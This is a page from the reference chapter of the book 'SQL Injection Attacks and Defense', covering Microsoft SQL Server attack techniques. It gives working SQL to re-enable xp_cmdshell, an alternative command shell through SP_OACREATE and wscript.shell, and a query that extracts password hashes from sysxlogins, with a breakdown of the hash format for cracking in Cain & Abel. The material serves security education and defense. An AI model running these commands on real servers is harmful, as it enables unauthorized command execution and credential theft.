SQL Injection Attacks and Defense - 2009

430 Chapter 10 • References
If the xp_cmdshell stored procedure has been dropped but the .dll has not been deleted,
the following will reenable it:
EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
xp_cmdshell Alternative
As an alternative to the xp_cmdshell stored procedure, you can execute the following
SQL statements to achieve the same effect:
DECLARE @altshell INT
EXEC SP_OACREATE 'wscript.shell',@altshell OUTPUT
EXEC SP_OAMETHOD @altshell,'run',null, '%systemroot%\system32\cmd.exe /c'
To execute this alternative shell on Microsoft SQL Server 2005 you will first need to
execute the following SQL:
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'Ole Automation Procedures', 1
EXEC sp_configure reconfigure
Cracking Database Passwords
Microsoft SQL Server 2000 password hashes are stored within the sysxlogins table and you
can extract them using the following SQL statement:
SELECT user,password FROM master.dbo.sysxlogins
The result of the preceding query looks something like the following:
sa, 0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76
BF4EB124550ACABDFD1457
The long string beginning with 0x0100 can be dissected as follows. The first four
bytes following the 0x are constant; the next eight bytes are the hash salt—in this example,
the salt value is 236A261C. The remaining 80 bytes are actually two hashes; the first 40
bytes are a case-sensitive hash of the password, and the second 40 bytes are an uppercased
version.
Here is the case-sensitive hash:
E12AB57BA22A7F44CE3B780E52098378B6585289
And here is the case-insensitive hash:
2EEE91C0784B911D76BF4EB124550ACABDFD1457
The salt and either (or both) password hashes can be loaded into Cain & Abel
(www.oxid.it) to launch a dictionary or brute force attack against the password.